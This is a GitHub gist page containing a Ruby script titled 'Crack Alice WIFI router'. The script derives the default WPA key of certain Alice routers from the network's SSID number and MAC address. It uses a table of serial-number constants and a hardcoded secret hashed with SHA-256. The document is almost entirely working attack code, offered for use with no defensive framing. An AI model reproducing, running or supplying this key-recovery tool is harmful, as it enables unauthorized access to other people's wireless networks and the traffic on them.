Skip to content

Instantly share code, notes, and snippets.

@pioz
Created May 24, 2011 15:42
Show Gist options
  • Select an option

  • Save pioz/988946 to your computer and use it in GitHub Desktop.

Select an option

Save pioz/988946 to your computer and use it in GitHub Desktop.
Crack Alice WIFI router
require 'digest/sha2'
def ssid_to_sn(ssid_number)
key = ssid_number[0..1]
if SN_TABLE[key]
sn_part_1 = SN_TABLE[key][0]
k = SN_TABLE[key][1]
q = SN_TABLE[key][2]
sn_part_2 = ((ssid_number.to_i - q) / k).to_i
return "#{sn_part_1}X#{'%.7i' % sn_part_2}"
else
puts 'ROUTER NOT SUPPORTED'
exit
end
end
SN_TABLE = {
'96' => ['69102', 13, 96017051],
'93' => ['69101', 13, 92398366],
'56' => ['67902', 13, 54808800],
'55' => ['67904', 8, 55164449],
'54' => ['67903', 8, 52420689],
'48' => ['67903', 8, 47896103],
'46' => ['67902', 13, 39015145]
}
ALIS = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8"
CONV_TABLE = '0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123'
#SSID = '96154825'
SSID = ARGV[0]
SN = ssid_to_sn(SSID)
#MAC = "\x00\x23\x8E\x01\x02\x03"
MAC = [ARGV[1]].pack('H*')
hash = (Digest::SHA2.new << ALIS + SN + MAC).to_s
bytes = [hash].pack('H*').bytes.to_a
wpa = ''
24.times { |i| wpa += CONV_TABLE[bytes[i]] }
puts "WPA: #{wpa}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment